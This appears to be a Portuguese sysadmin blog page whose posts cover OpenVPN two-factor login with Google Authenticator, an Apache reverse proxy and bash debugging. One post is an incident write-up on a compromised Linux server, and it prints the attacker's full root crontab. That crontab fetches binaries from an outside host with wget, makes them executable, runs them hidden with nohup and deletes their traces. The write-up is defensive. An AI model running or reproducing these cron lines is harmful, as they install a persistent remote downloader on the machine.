Todos os artigos de laurobmb

Openvpn com google authenticator

suporte de autenticação de dois fatores utilizado pelo Google, pode ser usado também no serviço de OpenVPN do Linux. Dentro das configurações do servidor, pode-se usar a biblioteca do PAM, onde este fará a interação com a biblioteca do Google para autenticar o usuário, sem a necessitando de acesso a internet para concluir o acesso do usuário ao recurso.

Instalação do módulo PAM de autenticação do Google, para o correto funcionamento do modulo, o analista deve instalar o pacote “pam-devel”
# yum install pam-devel

Realizar o download da libpam do Google no link http://code.google.com/p/google-authenticator/

# cd /home/ec2-user/google-authenticator-master/libpam
# ./bootstrap.sh && ./configure && make && make install

A biblioteca do Google deve estar instalada na pasta:
/usr/local/lib/security/pam_google_authenticator.so

Para o Selinux não apresentar alertas deveremos executar o comando;
#restorecon -RFv /usr/local/lib/security/

Deve-se criar um arquivo de configuração no PAM, onde este deverá ser usado no processo de autenticação pelo aplicativo.
# cat /etc/pam.d/openvpn
auth   requisite    /usr/local/lib/security/pam_google_authenticator.so   forward_pass
auth   required pam_unix.so use_first_pass

script de autenticação do openvpn com o PAM, é comum estar disponível na documentação do servidor, sendo assim basta copiar para pasta do serviço;
# cp /usr/share/doc/openvpn-2.3.8/sample/sample-scripts/auth-pam.pl/etc/openvpn/ auth2-pam.pl
# chmod 755 /etc/openvpn/auth2-pam.pl

Para o funcionamento do script de autenticação do PAM, instale o modulo do perl
# yum install perl-Authen-PAM

Dentro do script deve ser alterado o campo serviço, onde tem login (arquivo de login configurado no PAM) para o OPENVPN (criado anteriormente).
# vim /etc/openvpn/auth-pam.pl
… … …
# Identify service type to PAM
$service = “openvpn”;
… … …

No servidor adicione a linha seguinte nas configurações do serviço.
# vim /etc/openvpn/openvpn.conf
… … …
auth-user-pass-verify auth-pam.pl via-file
script-security 2

Para continuar o processo de configuração, deve ser instalado no dispositivo o App da Google no dispositivo que vai ser utilizado pelo usuário: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2

A configuração do usuário para autenticação usando a ferramenta do Google, necessita logar no shell linux com o usuário e executar:
$ google-authenticator
No terminal deve aparecer um QR Code para configuração do aplicativo do Google

qr(1)

Neste momento a configuração deve ser realizada no dispositivo, adicionando uma conta nova e utilizando o QR Code para realizar o sincronismo dos dados.
Responda os questionamentos usando a letra “Y”, logo após deve concluir com a informação de que foi criado um arquivo no /home do usuário, um arquivo:
“/home/$user/.google_authenticator”

Este arquivo contém códigos de emergência para login sem usar o App da Google no celular. Devido a isso deve-se melhorar a segurança deste diretório.
Para o Selinux não apresentar alertas deveremos executar o comando:
semanage fcontext -a -t openvpn_etc_rw_t “/home/lauro/.google_authenticator”

Teste de autenticação
Para o teste dos módulos do PAM existe uma ferramenta necessária para isto, o PAMTESTER, para instalar basta:
# yum install pamtester

Para testar a autenticação do modulo do PAM (login), modulo mais básico do PAM
# pamtester login lauro authenticate
Password: 123456
pamtester: successfully authenticated

Depois de criar o arquivo no PAM com o modulo de autenticação do Google, poderemos testa-lo.
# vim /etc/pam.d/openvpn
auth requisite pam_google_authenticator.so forward_pass
auth required pam_unix.so use_first_pass
# pamtester openvpn lauro authenticate
Password & verification code: 123456 + [6 digitos da senha temporaria]
pamtester: successfully authenticated

acabou 🙂 !!!

PROXY http Apache 2.4

Olá!
Passei por uns problemas de segurança por esses dias (isso não é novidade para quem trabalha com TI hehe! ) em que precisaria disponibilizar 3 aplicações internas em linguagens diversas e que estavam em servidores diferentes para a internet, no entanto não poderia usar mais de 1 endereço IP válido e uma das aplicações possuía autenticação, sendo assim usei o único endereço disponível, o do site da empresa, http://dominio.com.br.

Manter as aplicações disponíveis no site web diretamente acessíveis no mesmo link é mais seguro por alguns motivos:

1 – evita expor o ambiente interno para o mundo;
2 – mantém apenas um certificado digital garantindo também a integridade dos dados trafegados da aplicação;
3 – centralização das conexões;
4 – redução no números IP utilizados do range;

Exemplo: http://www.domino.com/aplicação

apache

 

 

 

Apresentação do mod_proxy

O Mod_Proxy é um módulo que implementa um proxy/gateway de entrada para o Apache. Ele implementa a capacidade de proxy para ajp13 (Apache JServe Protocol versão 1.3), FTP, CONNECT (por SSL), HTTP/0.9, HTTP/1.0 e HTTP/1.1. O módulo pode ser configurado para se conectar a outros módulos de proxy para estes e outros protocolos. (Apache.org)

A configuração e muito simples, basta retirar o comentario a linha do modulo do Apache
LoadModule proxy_http_module modules/mod_proxy_http.so

Acrescentar as linhas no Virtual Host do domínio

Para HTTP

<virtualhost *:80>

proxypass /aplicação1 http://192.168.x.x/aplicação1
proxypassreverse /aplicação1 http://192.168.x.x/ aplicação1

proxypass /aplicação2 http://192.168.x.x/aplicação2
proxypassreverse /aplicação2 http://192.168.x.x/ aplicação2

</virtualhost >

Para HTTPS

LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule proxy_http_module modules/mod_proxy_http.so

Dentro do host virtual

<virtualhost *:443>

SSLProxyEngine on
proxypass /aplicação3 https://192.168.x.x/aplicação3
proxypassreverse /aplicação3 https://192.168.x.x/aplicação3

</virtualhost >

Fontes: (Apache.org) http://httpd.apache.org/docs/2.2/mod/mod_proxy.html

Malware no Linux

Bom dia, boa tarde ou boa noite … 🙂

Hoje foi um dia inusitado, fui chamado para um trabalho e me deparei com um servidor Linux comprometido por um MALWARE, sim um MALWARE que estava instalado na máquina, como não e comum vermos isso nos servidores, vamos a remoção, mas também anotações para poder divulgar, vamos lá.

Identificação

Primeiro de tudo, vamos aos pontos que tenho absoluta certeza que foram estes que levaram a invasão deste servidor,

1 – O firewall mantinha a senha padrão de instalação, isso mesmo a padrão, era um appliance cuja a marca não vem ao caso;

2 – Ainda no firewall havia uma regra de encaminhamento da conexão usada pelo protocolo SSH, na porta padrão 22, diretamente para o servidor que hospedava o MALWARE;

3 – A senha de root fraca;

Estes pontos foram cruciais para comprometer o servidor, ainda que possam existir casos de ambientes que não poderemos bloquear o acesso do usuário root diretamente, podemos ao menos dificultar seu acesso.
A caçada

Ao observar a rede notei diversas quedas de comunicação com o gateway, impossibilitando a conexão de rede de todos desktops da LAN, ao ser informado pelo contratante que ao desligar o servidor Linux a rede voltava ao seu estado normal me concentrei apenas nesta máquina.
O servidor apresentava altos consumos de CPU e memória em diversos momentos, cronometrados até, ao observar os processos que estavam sendo executados na maquina me levou a perceber que o processo que causava o aumento de consumo mudava com muita frequência, logo tentei verificar quem executa o tal processo, chegando scripts de inicialização achei uma informação importante:

/etc/init.d/.SSH2
/etc/init.d/.SSHH2

estes apontavam para um executável dento de /etc/.SSH2, que por sua vez executava os seguintes arquivos:

/etc/gfhjrtfyhuf
/etc/sfewfesfs
/etc/gdmorpen
/etc/fdsfsfvff
/etc/rewgtf3er4t
/etc/smarvtd
/etc/whitptabil
/tmp/gfhjrtfyhuf
/tmp/sfewfesfs
/tmp/gdmorpen
/tmp/fdsfsfvff
/tmp/rewgtf3er4t
/tmp/smarvtd
/tmp/whitptabil

O servidor mantinha conexão com um IP externo alocado na China, por causa de um dos arquivos citados acima, a informação foi verificada usando os comandos netstat e lsof:

netstat -tupan

A saída deste comando mostrava o número do processo, quem executava e a conexão, com o número do processo executei o comando:

lsof -p “PID”

Capturei mais informações sobre este arquivo.

O processo criava uns arquivos “/tmp/.sshdd140*” que em pouco tempo tomavam a CPU da maquina inteira impossibilitando a conexão, e o que é pior, neste momento o servidor tentará fazer spoofing na rede inteira, fazendo todas as conexões caírem no /dev/null.

Ao remover os arquivos, o que acontecia??? eles se criavam novamente … 🙁
Mas ai ficou mais fácil, vamos analisar a CRON, buscando informações no serviço dentre seus arquivos encontrei no /var/spool/cron/root as seguintes entradas:

*/99 * * * * killall -9 fdsfsfvff
*/98 * * * * killall -9 gfhjrtfyhuf
*/97 * * * * killall -9 fdsfsfvff
*/96 * * * * killall -9 rewgtf3er4t
*/95 * * * * killall -9 whitptabil
*/94 * * * * killall -9 gdmorpen
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gfhjrtfyhuf
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/sfewfesfs
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/fdsfsfvff
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/smarvtd
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/rewgtf3er4t
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/whitptabil
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gdmorpen
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir gdmorpen
*/360 * * * * cd /etc;rm -rf dir fdsfsfvff
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir smarvtd
*/360 * * * * cd /etc;rm -rf dir whitptabil
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir gdmorpen.*
*/1 * * * * cd /etc;rm -rf dir fdsfsfvff.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir smarvtd.*
*/1 * * * * cd /etc;rm -rf dir whitptabil.*
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * chmod 7777 /etc/gdmorpen
*/1 * * * * chmod 7777 /etc/fdsfsfvff
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/smarvtd
*/1 * * * * chmod 7777 /etc/whitptabil
*/1 * * * * chmod 7777 /tmp/gfhjrtfyhuf
*/1 * * * * chmod 7777 /tmp/sfewfesfs
*/1 * * * * chmod 7777 /tmp/gdmorpen
*/1 * * * * chmod 7777 /tmp/fdsfsfvff
*/1 * * * * chmod 7777 /tmp/rewgtf3er4t
*/1 * * * * chmod 7777 /tmp/smarvtd
*/1 * * * * chmod 7777 /tmp/whitptabil
*/120 * * * * nohup /tmp/whitptabil > /dev/null 2>&1&
*/120 * * * * nohup /tmp/smarvtd > /dev/null 2>&1&
*/120 * * * * nohup /tmp/rewgtf3er4t > /dev/null 2>&1&
*/120 * * * * nohup /tmp/fdsfsfvff > /dev/null 2>&1&
*/120 * * * * nohup /tmp/gdmorpen > /dev/null 2>&1&
*/120 * * * * nohup /tmp/sfewfesfs > /dev/null 2>&1&
*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&
*/100 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&
*/98 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1&
*/96 * * * * nohup /etc/whitptabil > /dev/null 2>&1&
*/95 * * * * nohup /etc/gdmorpen > /dev/null 2>&1&
*/1 * * * * echo “unset MAILCHECK” >> /etc/profile

Vejam todas entradas maliciosas que estavam configuradas.

Somente após todas as remoces devidas e configurações segundo as boas praticas de segurança no servidor e no firewall, pude comemorar 🙂

Vivendo aprendendo e debugando… 🙂

Passando dificuldades com shell

Dificuldades com scripts todos podem ter, muito normal…
Mas saber depurar o erro no script isso não tem preço…
para ativar o debug no script basta:
-x option to debug a shell script
Execute o shell script com a opção “-x”

$ bash -x script-name
$ bash -x domains.sh

ou pode fazer no script mesmo, você pode substituir a linha de organização padrão :

#!/bin/bash

com o seguinte código (para depuração ):

#!/bin/bash -xv